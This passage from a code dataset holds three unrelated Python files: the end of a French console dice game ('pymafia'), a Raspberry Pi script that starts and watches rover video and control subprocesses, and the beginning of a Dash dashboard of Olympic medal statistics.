débutera la partie.\\n\"\n .format(self.premier_joueur.identifiant))\n premier_joueur_trouvé = True\n\n elif len(joueurs_au_plus_haut_score) == 2:\n print(\"\\nIl y a égalité entre les joueurs {} et {}. Ces joueurs doivent relancer les dés.\"\n .format(joueurs_au_plus_haut_score[0].identifiant,\n joueurs_au_plus_haut_score[1].identifiant))\n joueurs_en_liste = joueurs_au_plus_haut_score\n\n else:\n print(\"\\nIl y a égalité entre les joueurs {} et {}. Ces joueurs doivent relancer les dés.\"\n .format(', '.join([str(joueur.identifiant) for joueur in joueurs_au_plus_haut_score[:-1]]),\n joueurs_au_plus_haut_score[-1].identifiant))\n joueurs_en_liste = joueurs_au_plus_haut_score\n\n\n @staticmethod\n def trouver_joueurs_au_plus_haut_total(liste_joueurs):\n \"\"\"\n Cette méthode trouve le ou les joueurs ayant le plus haut score à leurs dés.\n Args:\n liste_joueurs (list): Liste des joueurs parmi lesquels il faut identifier ceux qui ont le plus score aux dés\n\n Returns:\n list: Liste des joueurs ayant eu le plus haut score. Cette liste contient plus qu'un joueur s'il y a eu\n égalité lors du lancer.\n\n \"\"\"\n score_joueurs_2_dés = [joueur.calculer_points() for joueur in liste_joueurs]\n indices_du_plus_haut_score = Partie.trouver_indices_max(score_joueurs_2_dés)\n joueurs_au_plus_haut_score = [liste_joueurs[x] for x in indices_du_plus_haut_score]\n return joueurs_au_plus_haut_score\n\n @staticmethod\n def trouver_indices_max(vecteur):\n \"\"\"\n Méthode statique qui trouve les index des nombres d'un vecteur d'entiers correspondants à la valeur maximale du\n vecteur.\n Args:\n vecteur (list): Vecteur de nombre d'entiers dont il faut trouver les index des maximum\n\n Returns:\n list: Liste des index des éléments du vecteur ayant la valeur la plus élevée\n \"\"\"\n valeur_max = max(vecteur)\n index_avec_plus_haute_valeur = []\n for i, j in enumerate(vecteur):\n if j == valeur_max:\n index_avec_plus_haute_valeur.append(i)\n return index_avec_plus_haute_valeur\n\n def determiner_sens(self):\n \"\"\"\n Méthode qui demande au premier joueur le sens dans lequel il souhaite bouger. Cette méthode vérifie si le\n premier joueur est un humain ou l'ordinateur. Dans le cas de l'humain, une demande est faite à la console.\n L'attribut sens de la partie est modifié selon la réponse. Dans le cas de l'ordinateur, on affiche son choix.\n \"\"\"\n if isinstance(self.premier_joueur, JoueurHumain):\n continuer = True\n while continuer:\n reponse = input('Joueur {}, voulez-vous jouer en ordre croissant (O) ou décroissant (N)? '.format(\n self.premier_joueur.identifiant))\n if reponse.upper() == 'O' or reponse.upper() == 'N':\n print('\\n')\n if reponse.upper() == 'O':\n self.sens = 1\n else:\n self.sens = -1\n continuer = False\n else:\n print(\"Choix invalide. Veuillez choisir entre 'O' et 'N'.\\n\")\n else:\n reponse = self.premier_joueur.demander_sens()\n self.sens = reponse[0]\n print(reponse[1])\n\n def determiner_joueur_suivant(self):\n \"\"\"\n Méthode qui trouve qui est le joueur suivant et qui modifie l'attribut joueur_suivant de la partie.\n \"\"\"\n index_prochain_joueur_suivant = (self.joueurs_actifs.index(self.joueur_courant) + self.sens + len(\n self.joueurs_actifs)) % len(self.joueurs_actifs)\n self.joueur_suivant = self.joueurs_actifs[index_prochain_joueur_suivant]\n\n def reinitialiser_dés_joueurs(self):\n \"\"\"\n Méthode qui réinitialise les dés des joueurs actifs en leur donnant 5 dés chacun.\n \"\"\"\n for joueur in self.joueurs_actifs:\n joueur.reinitialiser_dés()\n\n def jouer_une_partie(self):\n \"\"\"\n Méthode qui accomplit les actions pour jouer une partie de pymafia.\n Cette méthode contient une grande boucle qui vérifier que le numéro de la ronde actuelle est inférieure ou\n égale au nombre maximal de ronde.\n Les étapes pour une ronde sont:\n 1. Jouer une ronde.\n 2. Terminer la ronde.\n 3. Afficher un message donnant les points en fin de ronde.\n 4. Réinitialiser les dés des joueurs.\n 5. Passer à la prochaine ronde.\n \"\"\"\n while self.ronde <= RONDEMAX:\n self.jouer_une_ronde()\n self.terminer_ronde()\n print(self.message_points_en_fin_de_ronde())\n input(\"Appuyer sur une touche pour continuer.\\n\")\n self.reinitialiser_dés_joueurs()\n self.passer_a_la_ronde_suivante()\n\n def jouer_une_ronde(self):\n \"\"\"\n Méthode qui permet de jouer une ronde. Un message de début de ronde est affiché. Ensuite faire une boucle pour\n jouer une succession de tour. On sort de la boucle lorsqu'un joueur gagne le tour.\n \"\"\"\n print(\"Début de la ronde {} par le joueur {}.\\n\".format(self.ronde, self.joueur_courant.identifiant))\n gagnant_ronde = None\n while gagnant_ronde is None:\n gagnant_ronde = self.jouer_un_tour()\n\n def jouer_un_tour(self):\n \"\"\"\n Méthode qui permet de jouer un tour:\n 1) Le joueur courant roule ses dés.\n 2) Le résultat du lancer est affiché.\n 3) On gère les dés de valeur 1 et 6.\n 4) On vérifie si le joueur courant a gagné la ronde en n'ayant plus de dé. S'il gagne, on affiche un message\n qui indique qu'il n'a plus de dé. Sinon, on passe au joueur suivant.\n Returns:\n Joueur: Le joueur gagnant, si le joueur courant gagne le tour, None autrement.\n \"\"\"\n self.joueur_courant.rouler_dés()\n print(\"Le joueur {} joue les dés suivants: {} \\n\".format(self.joueur_courant.identifiant, self.joueur_courant))\n self.gerer_dés_1_et_6()\n\n gagnant_ronde = None\n if self.verifier_si_fin_de_ronde():\n gagnant_ronde = self.joueur_courant\n print(\"Le joueur {} n'a plus de dé. Il gagne la ronde.\".format(gagnant_ronde.identifiant))\n else:\n self.passer_au_prochain_joueur()\n return gagnant_ronde\n\n def gerer_dés_1_et_6(self):\n \"\"\"\n Méthode qui gère le contenu des dés du joueur courant suite à un lancer pour traiter la présence de 1 et de 6\n selon les étapes suivantes:\n 1. Vérifier si les dés du joueur courant contiennent des 1 et des 6.\n 2. Afficher les messages pour ces dés.\n 3. Déplacer les dés 1 et 6.\n \"\"\"\n nombre_1, nombre_6 = self.verifier_dés_joueur_courant_pour_1_et_6()\n self.afficher_messages_dés_1_et_6(nombre_1, nombre_6)\n self.deplacer_les_dés_1_et_6(nombre_1, nombre_6)\n\n def verifier_dés_joueur_courant_pour_1_et_6(self):\n \"\"\"\n Méthode qui vérifie le nombre de dés de valeur 1 et 6 du joueur courant.\n Returns:\n int, int: nombre de dés de valeur 1 et 6\n \"\"\"\n nombre_1, nombre_6 = self.joueur_courant.compter_1_et_6()\n return nombre_1, nombre_6\n\n def afficher_messages_dés_1_et_6(self, nombre_1, nombre_6):\n \"\"\"\n Méthode qui affiche les messages de la présence de dés de valeur 1 et de dés de valeur 6 dans les dés du joueur\n courant. On affiche les messages que si le joueur a un dé de la valeur désignée.\n Args:\n nombre_1 (int): Nombre de dé(s) de valeur 1\n nombre_6 (int): Nombre de dé(s) de valeur 6\n \"\"\"\n if nombre_1:\n print(self.message_pour_dé_1(nombre_1))\n if nombre_6:\n print(self.message_pour_dé_6(nombre_6))\n if nombre_1 or nombre_6:\n print()\n\n def message_pour_dé_1(self, nombre_1):\n \"\"\"\n Méthode qui retourne le message sur le nombre de dé(s) de valeur 1. Par exemple, \"Le joueur 2 a roulé 2 dés de\n valeur 1 et les retire du jeu.\"\n Args:\n nombre_1 (int): Nombre de dé(s) de valeur 1\n Returns:\n str: Message contenant le nombre de dé(s) retiré\n \"\"\"\n return 'Le joueur {} a roulé {} dé{} de valeur 1 et le{} retire du jeu.'.format(\n self.joueur_courant.identifiant, nombre_1, 's' if nombre_1 > 1 else '', 's' if nombre_1 > 1 else '')\n\n def message_pour_dé_6(self, nombre_6):\n \"\"\"\n Méthode qui retourne le message sur le nombre de dé(s) de valeur 6. Par exemple, \"Le joueur 4 a roulé 1 dé de\n valeur 6 et le passe au joueur suivant.\"\n Args:\n nombre_6 (int): Nombre de dé(s) de valeur 6\n Returns:\n str: Message contenant le nombre de dé(s) passé au suivant\n \"\"\"\n return 'Le joueur {} a roulé {} dé{} de valeur 6 et le{} passe au joueur suivant.'.format(\n self.joueur_courant.identifiant, nombre_6, 's' if nombre_6 > 1 else '', 's' if nombre_6 > 1 else '')\n\n def deplacer_les_dés_1_et_6(self, nombre_1, nombre_6):\n \"\"\"\n Méthode qui déplace les dés de valeur 1 et de valeur 6 roulés par le joueur courant. Les dés de valeur 1 sont\n retirés du jeu (penser à une méthode de la classe joueur). Les dés de valeur 6 sont passés au joueur suivant.\n Args:\n nombre_1 (int): Nombre de dé(s) de valeur 1\n nombre_6 (int): Nombre de dé(s) de valeur 6\n \"\"\"\n if nombre_1:\n # Si dé de valeur 1, les retirer.\n self.joueur_courant.retirer_dé(1)\n if nombre_6:\n # Si dé de valeur 6, les retirer.\n self.joueur_courant.retirer_dé(6)\n # Ajouter autant de dé de valeur 6 au joueur suivant\n for i in range(nombre_6):\n self.joueur_suivant.ajouter_un_dé()\n\n def verifier_si_fin_de_ronde(self):\n \"\"\"\n Méthode qui vérifie si le joueur courant n'a plus de dé. Ceci signifie la fin de la ronde.\n Returns:\n bool: True, si le joueur courant n'a plus de dé. False autrement.\n \"\"\"\n if len(self.joueur_courant.dés) == 0:\n return True\n else:\n return False\n\n def passer_au_prochain_joueur(self):\n \"\"\"\n Méthode qui change la valeur de l'attribut du joueur_courant et qui détermine le joueur suivant.\n \"\"\"\n self.joueur_courant = self.joueur_suivant\n self.determiner_joueur_suivant()\n\n def passer_a_la_ronde_suivante(self):\n \"\"\"\n Méthode qui incrémente le numéro de la ronde.\n \"\"\"\n self.ronde += 1\n\n def terminer_ronde(self):\n \"\"\"\n Méthode qui accomplit les actions de jeu en fin de ronde à l'aide d'autres méthodes de la classe.\n 1. Tous les joueurs qui n'ont pas gagné la ronde jouent les dés qui leur restent.\n 2. Afficher les messages des points donnés par les joueurs.\n 3. Ajuster les points de perdants de la ronde et compter la somme des points destinés au gagnant.\n 4. Ajuster les points du gagnant avec les points des perdants.\n 5. Afficher le message qui annonce le nouveau score du gagnant.\n 6. Retirer les joueurs sans points.\n \"\"\"\n print(\"Les autres joueurs jouent leurs dés pour calculer les points qu'ils donnent au gagnant du tour.\")\n self.jouer_dés_en_fin_de_ronde()\n print(self.messages_pour_points_fin_de_ronde())\n points_au_gagnant = self.ajuster_points_des_perdants_en_fin_de_ronde()\n self.ajuster_points_du_gagnant(points_au_gagnant)\n print(self.message_pour_points_du_gagnant(points_au_gagnant))\n self.retirer_joueurs_sans_points()\n\n def jouer_dés_en_fin_de_ronde(self):\n \"\"\"\n Méthode qui fait rouler les dés des joueurs qui sont encore actifs (sauf le gagnant)\n \"\"\"\n for joueur in self.joueurs_actifs:\n if joueur is not self.joueur_courant:\n joueur.rouler_dés()\n\n def message_points_en_fin_de_ronde(self):\n \"\"\"\n Méthode qui assemble un message sur les points des joueurs en fin de ronde. Par exemple, \"À la fin de cette\n ronde, les joueurs ont les points suivants: Le joueur 1 a 45 points. ...\" Et ainsi de suite pour tous les\n joueurs.\n Returns:\n str: Le message qui donne les points actuels.\n \"\"\"\n message = \"À la fin de cette ronde, les joueurs ont les points suivants:\\n\"\n message += self.message_points_des_joueurs()\n return message\n\n def messages_pour_points_fin_de_ronde(self):\n \"\"\"\n Méthode qui assemble le message qui informe de la quantité de points donnés par chacun des joueurs qui ont perdu\n la ronde. Si la somme des dés donne un nombre de points inférieurs au score actuel du joueur, le nombre de\n points donnés correspond au résultat du lancer. Sinon, le nombre des points donnés correspond au score du\n joueur. Dans le premier cas, le message pourrait être : \"Le joueur 2 joue les dés suivants: ⚅ ⚁ . Il donne 8\n points au gagnant de la ronde.\" Dans le deuxième cas, le message pourrait être: \"Le joueur 5 joue les dés\n suivants: ⚅ ⚃ . La somme des dés est égale ou supérieure à son nombre de points. Il donne 7 points au gagnant\n de la ronde et se retire de la partie.\n Returns:\n str: Le message qui indique le nombre de points par chaque joueur perdant de la ronde.\n \"\"\"\n message = \"\"\n for joueur in self.joueurs_actifs:\n if joueur is not self.joueur_courant:\n points = joueur.calculer_points()\n if points < joueur.score:\n phrase = \\\n \"Le joueur {} joue les dés suivants: {}. Il donne {} points au gagnant de la ronde.\\n\\n\".format(\n joueur.identifiant, joueur, points)\n message = message + phrase\n else:\n message += \"Le joueur {} joue les dés suivants: {}.\\n\".format(joueur.identifiant, joueur)\n message += \"La somme des dés est égale ou supérieure à son nombre de points. \"\n message += \"Il donne {} point(s) au gagnant de la ronde et se retire de la partie.\\n\\n\".format(\n joueur.score)\n return message\n\n def ajuster_points_des_perdants_en_fin_de_ronde(self):\n \"\"\"\n Méthode qui ajuste les points des perdants en fin de ronde. (en utilisant la méthode appropriée de la classe\n joueur). La méthode fait aussi la somme des points ainsi retirés à ces joueurs.\n Returns:\n int: Somme des points retirés aux joueurs.\n \"\"\"\n score_total = 0\n for joueur in self.joueurs_actifs:\n if joueur is not self.joueur_courant:\n score_total += joueur.ajuster_score_en_fin_de_tour()\n return score_total\n\n def ajuster_points_du_gagnant(self, score):\n \"\"\"\n Méthode qui ajuste le score du gagnant de la ronde (le joueur courant).\n Args:\n score (int): Le nombre de points à ajouter au score du joueur courant.\n \"\"\"\n self.joueur_courant.score += score\n\n def message_pour_points_du_gagnant(self, points_au_gagnant):\n \"\"\"\n Méthode qui retourne un message annonçant le nombre de points donnés au gagnant. Par exemple: \"Le joueur 3\n obtient 18 points.\n Args:\n points_au_gagnant (int): Nombre de points donnés au gagnant.\n Returns:\n str: Chaîne de caractères contenant le message.\n \"\"\"\n return \"Le joueur {} obtient {} points.\\n\".format(self.joueur_courant.identifiant, points_au_gagnant)\n\n def retirer_joueurs_sans_points(self):\n \"\"\"\n Méthode qui vérifie si des joueurs actifs ont maintenant un score de 0. Seuls les joueurs ayant un score plus\n grand que zéro demeurent actifs. Advenant que le joueur suivant ne soit plus actif, le prochain joueur actif\n devient le nouveau joueur suivant.\n Returns:\n list: La liste des joueurs à retirer. (Cette valeur de retour ne devrait pas être utilisée dans le TP3, mais\n sera utile pour le TP4.\n \"\"\"\n joueurs_à_conserver = []\n joueurs_à_retirer = []\n for joueur in self.joueurs_actifs:\n if joueur.score > 0:\n joueurs_à_conserver.append(joueur)\n else:\n joueurs_à_retirer.append(joueur)\n\n self.joueurs_actifs = joueurs_à_conserver\n\n if self.joueur_suivant not in self.joueurs_actifs:\n self.determiner_joueur_suivant()\n\n return joueurs_à_retirer\n\n def terminer_une_partie(self):\n \"\"\"\n Méthode qui fait les affichages de fin de partie. On informe les joueurs que le nombre maximal de rondes est\n atteint. Ensuite, ces affichages contiennent le bilan des points des joueurs et le message sur le ou les\n gagnants de la partie.\n \"\"\"\n print(\"Le nombre maximal de rondes est atteint. La partie est terminée.\")\n print(self.message_points_en_fin_de_partie())\n\n print(self.message_gagnants(self.determiner_liste_gagnants()))\n print(\"Merci d'avoir joué à pymafia!\")\n\n def message_points_en_fin_de_partie(self):\n \"\"\"\n Méthode qui assemble un message sur les points des joueurs en fin de partie. Par exemple, \"À la fin de la partie\n ronde, les joueurs ont les points suivants: Le joueur 1 a 16 points. ...\" Et ainsi de suite pour tous les\n joueurs.\n Returns:\n str: Le message qui donne les points en fin de partie.\n \"\"\"\n message = \"À la fin de la partie, les joueurs ont les points suivants:\\n\"\n message += self.message_points_des_joueurs()\n return message\n\n def message_points_des_joueurs(self):\n \"\"\"\n Méthode qui assemble un message indiquant les points de tous les joueurs. Par exemple, \"Le joueur 1 a 16\n points. ...\" Et ainsi de suite pour tous les joueurs.\n Returns:\n str: Les message donnant les points des joueurs.\n \"\"\"\n message = \"\"\n for joueur in self.joueurs:\n message += \"Le joueur {} a {} point{}.\\n\".format(\n joueur.identifiant, joueur.score, 's' if joueur.score > 0 else '')\n return message\n\n def determiner_liste_gagnants(self):\n \"\"\"\n Méthode qui détermine l'index des joueurs ayant le score le plus élevé. Considérer utiliser la méthode statique\n trouver_indices_max\n Returns:\n list: Liste contenant les indices des joueurs ayant le plus haut score. Il y a plus d'un joueur dans cette\n liste seulement s'il y a égalité.\n \"\"\"\n liste_points_joueurs = []\n for joueur in self.joueurs:\n liste_points_joueurs.append(joueur.score)\n return Partie.trouver_indices_max(liste_points_joueurs)\n\n def message_gagnants(self, liste_index_gagnants):\n \"\"\"\n Méthode qui assemble le message annon��ant le gagnant (ou les gagnant en cas d'égalité). Par exemple, \"Le joueur\n 3 a gagné la partie!\"\n Args:\n liste_index_gagnants (list): Liste contenant l'index (qui est l'identifiant) du ou des joueurs gagnants\n Returns:\n str: Message annonçant le gagnant.\n \"\"\"\n if len(liste_index_gagnants) == 1:\n message = \"Le joueur {} a gagné à la partie!\\n\".format(self.joueurs[liste_index_gagnants[0]].identifiant)\n else:\n message = \"Il y a égalité entre les joueurs {}.\\n\".format(\" et \".join(\n str(self.joueurs[gagnant].identifiant) for gagnant in liste_index_gagnants))\n return message\n\n def jouer(self):\n \"\"\"\n Méthode principale de la classe qui spécifie le déroulement d'une partie. Les étapes sont: 1) préparer une\n partie; 2) jouer une partie et 3) terminer une partie.\n \"\"\"\n\n self.preparer_une_partie()\n self.jouer_une_partie()\n self.terminer_une_partie()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"pymafia/partie.py","file_name":"partie.py","file_ext":"py","file_size_in_byte":27007,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"93001496","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*- \n\n# setting up modules being used in the program\nimport subprocess as sp\nimport termios\nimport select\nimport time\nimport tty\nimport sys\nimport os\n\n# non blocking getch() alternative for linux\ndef key_in():\n\n return select.select([sys.stdin], [], [], 0) == ([sys.stdin], [], [])\n\n# if using an old python version\nold_settings = termios.tcgetattr(sys.stdin)\n\n# clear the screen\nos.system(\"clear\")\n\n# check os compatibility\nif os.name == 'nt':\n\n print (\"\\nThis codes only compatible with Linux OS!\")\n exit()\n\n# check python environment compatibility\nif sys.version_info[0] > 2:\n\n print (\"\\nThis codes only compatible with Python 2 environment!\")\n exit()\n\ntry:\n\n # initialization\n key = ''\n condition0 = 0\n condition1 = 0\n tty.setcbreak(sys.stdin.fileno())\n \n # print out info for user\n print (\"This Python program will run FTP server and clients as a subprocesses on Raspberry Pi to\")\n print (\"stream data from video feeds, rangefinder reading and user control input.\\n\")\n print (\"To start press [1].\")\n print (\"To quit at any time press [2].\\n\")\n\n # check user input\n while True:\n\n # if user press something\n if key_in():\n\n key = sys.stdin.read(1)\n\n # if it is [1] key\n if (key == '1'):\n\n # start the subprocesses\n print (\"Subprocesses started!\\n\")\n subproc0 = sp.Popen(['python2', 'b_b_video_client.py'])\n subproc1 = sp.Popen(['python2', 'b_c_futaba_server.py'])\n\n # break from the loop\n break\n\n # if it is [2] key\n if (key == '2'):\n\n # break from the loop\n break\n\n # checking subprocesses condition and user input\n while (key == '1'):\n\n # if user press something\n if key_in():\n \n # if it is [2] key\n if (sys.stdin.read(1) == '2'):\n\n # kill the subprocesses\n sp.Popen.terminate(subproc0)\n sp.Popen.terminate(subproc1)\n\n print (\"\\nSubprocesses will be terminated.\")\n\n # break from the loop\n break\n\n # if subproc0 crashed\n if (sp.Popen.poll(subproc0) != None):\n\n condition0 += 1\n\n # if subproc1 crashed\n if (sp.Popen.poll(subproc1) != None):\n\n condition1 += 1\n\n # take a 1 sec break\n time.sleep(1)\n\n if ((condition0 > 2) and (condition1 > 2)):\n\n # print out the reason for subprocess termination\n print (\"\\nFTP connection was terminated on PC side.\")\n print (\"The problem might be caused by unstable Wi-Fi or\")\n print (\"the user simply terminated the subprocesses on PC side.\")\n\n # break loop check\n break\n\n elif ((condition0 > 2) and (condition1 == 0)):\n\n # kill subproc1\n sp.Popen.terminate(subproc1)\n\n # print out the reason why subprocess subproc0 suddenly died\n print (\"\\nFTP connection for video client was interrupted.\")\n print (\"The problem might be caused by unstable power supply\")\n print (\"powering the Raspberry Pi Camera Module. You can simply\")\n print (\"ignore the problem or get a power-bank rated for 5 [V] 3 [A].\")\n\n # break loop check\n break\n\n elif ((condition0 == 0) and (condition1 > 2)):\n\n # kill subproc0\n sp.Popen.terminate(subproc0)\n\n # print out the reason for subprocess termination\n print (\"\\nFTP connection for futaba server and distance client was\")\n print (\"interrupted. The problem might be caused by error from serial connection\")\n print (\"between Raspberry Pi and PixHawk. Rerun 00_initial_setup to pinpoint the problems.\")\n\n # break loop check\n break\n\nfinally:\n\n # print out the situation\n print (\"\\nProgram ended.\\n\")\n \n # end dronekit-python api and disarm rover\n os.system(\"python b_e_pixhawk_exit.py > /dev/null 2>&1 &\")\n\n # close termios\n termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings)","sub_path":"01_rpi_raspbian/01_stream_test/b_a_subprocess_rpi.py","file_name":"b_a_subprocess_rpi.py","file_ext":"py","file_size_in_byte":4181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"410365507","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport dash_table as Table\nfrom dash.dependencies import Input, Output, State\nimport plotly.graph_objs as go\n\nimport pandas as pd\nimport numpy\nimport math\n\nexternal_stylesheets = [\"assets/chrisP.css\"]\n\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\n# Data\ndf = pd.read_csv(\"assets/athlete_events.csv\")\nofficial_countries = pd.read_csv(\"assets/countries.csv\")\n\ndf = df.dropna(subset=[\"Medal\"])\ndf_all = df\ndf = df[df[\"Team\"].isin(official_countries[\"Country\"])]\ncountries = numpy.unique(df[\"Team\"])\n\nsport_list = numpy.sort(numpy.unique(df[\"Sport\"]))\nsport_list = numpy.insert(sport_list, 0, \"All Sports\")\nsport_options = [{\"label\": sport, \"value\": sport} for sport in sport_list]\n\napp.layout = html.Div(\n [\n html.Div(\n # Graph Title and Olympic Rings\n className=\"Title\",\n style={\n \"text-align\": \"center\",\n \"width\": \"100%\",\n \"color\": \"#FBE4DE\",\n \"height\": \"10px\",\n },\n children=[\n html.Div(\n className=\"six columns offset-by-three columns\",\n children=[html.H1(\"All Time Olympic Medals\")],\n ),\n html.Div(\n style={\"display\": \"inline-block\", \"margin-left\": \"13%\"},\n children=[\n html.Img(\n src=\"assets/olympic_rings.png\",\n alt=\"Olympic Rings\",\n width=\"140px\",\n )\n ],\n ),\n ],\n ),\n html.Div(\n # Dropdown Titles\n className=\"row\",\n children=[\n html.Div(\n className=\"Title four columns offset-by-one column\",\n children=[html.H2(\"Sport\")],\n ),\n html.Div(\n className=\"Title four columns offset-by-two columns\",\n children=[html.H2(\"Event\")],\n ),\n ],\n ),\n html.Div(\n className=\"row\",\n style={\"margin-bottom\": \"10px\"},\n children=[\n # Sport\n html.Div(\n className=\"four columns offset-by-one column\",\n style={\"display\": \"inline-block\"},\n children=[\n dcc.Dropdown(\n id=\"sport_all_time\", value=\"Canoeing\", options=sport_options\n )\n ],\n ),\n # Event\n html.Div(\n className=\"four columns offset-by-two columns\",\n style={\"display\": \"inline-block\"},\n children=[dcc.Dropdown(id=\"event_all_time\", value=\"All Events\")],\n ),\n ],\n ),\n html.Div(\n # Country Comparison\n className=\"row\",\n style={\"margin-bottom\": \"10px\"},\n children=[\n html.Div(\n className=\"twelve columns\",\n children=[dcc.Graph(id=\"all_time_comparison\")],\n )\n ],\n ),\n # Graph Titles\n html.Div(\n className=\"Title\",\n style={\n \"text-align\": \"center\",\n \"width\": \"100%\",\n \"color\": \"#FBE4DE\",\n \"height\": \"110px\",\n },\n children=[\n html.Div(\n className=\"six columns offset-by-three columns\",\n children=[html.H1(\"Olympic Medals by Country\")],\n )\n ],\n ),\n html.Div(\n # Dropdown Titles\n className=\"row\",\n children=[\n html.Div(\n className=\"seven columns\",\n children=[\n html.Div(\n className=\"Title four columns\",\n style={\"display\": \"inline-block\"},\n children=[html.H2(\"Country\")],\n ),\n html.Div(\n className=\"Title four columns\",\n style={\"display\": \"inline-block\"},\n children=[html.H2(\"Sport\")],\n ),\n html.Div(\n className=\"Title four columns\",\n style={\"display\": \"inline-block\"},\n children=[html.H2(\"Event\")],\n ),\n ],\n ),\n html.Div(\n className=\"five columns\",\n children=[\n html.Div(\n className=\"Title twelve columns\",\n style={\"display\": \"inline-block\"},\n children=[html.H2(\"Year Range\")],\n )\n ],\n ),\n ],\n ),\n html.Div(\n # Input Dropdowns\n className=\"row\",\n children=[\n html.Div(\n className=\"seven columns\",\n children=[\n # Country\n html.Div(\n className=\"four columns\",\n style={\"display\": \"inline-block\"},\n children=[\n dcc.Dropdown(\n id=\"country\",\n options=[\n {\"label\": country, \"value\": country}\n for country in countries\n ],\n value=\"Canada\",\n )\n ],\n ),\n # Sport\n html.Div(\n className=\"four columns\",\n style={\"display\": \"inline-block\"},\n children=[dcc.Dropdown(id=\"sport\", value=\"All Sports\")],\n ),\n # Event\n html.Div(\n className=\"four columns\",\n style={\"display\": \"inline-block\"},\n children=[\n dcc.Dropdown(id=\"event\", value=\"All Events\", style={})\n ],\n ),\n ],\n ),\n html.Div(\n className=\"five columns\",\n children=[\n # Year selectors\n html.Div(\n style={\n \"margin-bottom\": \"45px\",\n \"z-index\": \"1000\",\n \"position\": \"relative\",\n },\n id=\"year_select\",\n children=[\n html.Div(dcc.Dropdown(id=\"start_year\", value=0)),\n html.Div(dcc.Dropdown(id=\"end_year\", value=0)),\n html.Div(dcc.RangeSlider(id=\"year\", value=[])),\n ],\n )\n ],\n ),\n ],\n ),\n html.Div(\n className=\"row\",\n children=[\n # Graph\n html.Div(\n className=\"seven columns\",\n style={\"background-color\": \"#D0E2ED\"},\n children=[dcc.Graph(id=\"country_stats\")],\n ),\n html.Div(\n className=\"five columns\",\n children=[\n # Table\n html.Div(\n children=[\n Table.DataTable(\n n_fixed_rows=1,\n id=\"medalists\",\n style_cell={\n \"minWidth\": \"0px\",\n \"maxWidth\": \"180px\",\n \"whiteSpace\": \"normal\",\n \"text-align\": \"center\",\n },\n style_table={\"maxHeight\": \"400px\"},\n css=[\n {\n \"selector\": \".dash-cell div.dash-cell-value\",\n \"rule\": \"display: inline; white-space: inherit;\\\n overflow: inherit; text-overflow: inherit;\",\n }\n ],\n columns=[\n {\"name\": i, \"id\": i}\n for i in [\"Name\", \"Year\", \"Event\", \"Medal\"]\n ],\n )\n ]\n )\n ],\n ),\n ],\n ),\n ]\n)\n\n\n# Filter to show only country's statistics\ndef sort_country(country):\n return df[df[\"Team\"] == country]\n\n\n# Filter to show only country's statistics for a given sport\ndef sort_sport(country, sport):\n df_country = sort_country(country)\n return df_country[df_country[\"Sport\"] == sport]\n\n\n# Filter to show only country's statistics for a given event\ndef sort_event(country, sport, event):\n df_event = sort_sport(country, sport)\n return df_event[df_event[\"Event\"] == event]\n\n\n# Update sport options based on country\n@app.callback(\n [Output(\"sport\", \"options\"), Output(\"sport\", \"value\")],\n [Input(\"country\", \"value\")],\n [State(\"sport\", \"value\")],\n)\ndef find_sports(country, cur_sport):\n df_country = sort_country(country)\n df_sport = numpy.unique(df_country[\"Sport\"])\n new_sport = \"All Sports\"\n if cur_sport in df_sport:\n new_sport = cur_sport\n df_sport = numpy.insert(df_sport, 0, \"All Sports\")\n return [{\"label\": sport, \"value\": sport} for sport in df_sport], new_sport\n\n\n# Update event options based on country and sport\n@app.callback(\n [Output(\"event\", \"options\"), Output(\"event\", \"value\")],\n [Input(\"sport\", \"value\")],\n [State(\"country\", \"value\"), State(\"event\", \"value\")],\n)\ndef find_event(sport, country, cur_event):\n df_sport = sort_sport(country, sport)\n df_event = numpy.unique(df_sport[\"Event\"])\n new_event = \"All Events\"\n if cur_event in df_event:\n new_event = cur_event\n df_event = numpy.insert(df_event, 0, \"All Events\")\n return [{\"label\": event, \"value\": event} for event in df_event], new_event\n\n\n# Update event_all_time options based on sport\n@app.callback(\n [Output(\"event_all_time\", \"options\"), Output(\"event_all_time\", \"value\")],\n [Input(\"sport_all_time\", \"value\")],\n)\ndef find_event_all_time(sport):\n df_sport = df_all[df_all[\"Sport\"] == sport]\n df_event = numpy.unique(df_sport[\"Event\"])\n df_event = numpy.insert(df_event, 0, \"All Events\")\n return [{\"label\": event, \"value\": event} for event in df_event], \"All Events\"\n\n\n# Determine type of input box for years\n@app.callback(\n Output(\"year_select\", \"children\"),\n [Input(\"event\", \"value\")],\n [State(\"country\", \"value\"), State(\"sport\", \"value\")],\n)\ndef find_years(event, country, sport):\n year_list = find_year_df(country, sport, event)[0]\n if len(year_list) < 10 and len(year_list) > 0:\n child = [\n html.Div(\n style={\"margin-right\": \"10px\"},\n children=[\n dcc.RangeSlider(\n id=\"year\",\n min=min(year_list),\n max=max(year_list),\n step=None,\n marks={str(year): str(year) for year in year_list},\n value=[min(year_list), max(year_list)],\n allowCross=False,\n )\n ],\n ),\n html.Div(\n style={\"display\": \"none\"},\n children=[\n dcc.Dropdown(id=\"start_year\", style={\"display\": \"none\"}, value=0)\n ],\n ),\n html.Div(\n style={\"display\": \"none\"},\n children=[\n dcc.Dropdown(id=\"end_year\", style={\"display\": \"none\"}, value=0)\n ],\n ),\n ]\n else:\n min_year = 1896\n max_year = 2016\n if year_list.size != 0:\n min_year = min(year_list)\n max_year = max(year_list)\n options = [{\"label\": str(year), \"value\": year} for year in year_list]\n child = [\n html.Div(\n className=\"six columns\",\n children=[\n dcc.Dropdown(id=\"start_year\", value=min_year, options=options)\n ],\n ),\n html.Div(\n className=\"six columns\",\n children=[dcc.Dropdown(id=\"end_year\", value=max_year, options=options)],\n ),\n html.Div(\n style={\"display\": \"none\"},\n children=[dcc.RangeSlider(id=\"year\", value=[])],\n ),\n ]\n return child\n\n\n# Select df based on sport, event\ndef find_sport_year(sport, event):\n if sport == \"All Sports\":\n df_final = df_all\n elif event == \"All Events\":\n df_final = df_all[df_all[\"Sport\"] == sport]\n else:\n df_sport = df_all[df_all[\"Sport\"] == sport]\n df_final = df_all[df_all[\"Event\"] == event]\n return df_final\n\n\n# Determine years and select df based on those 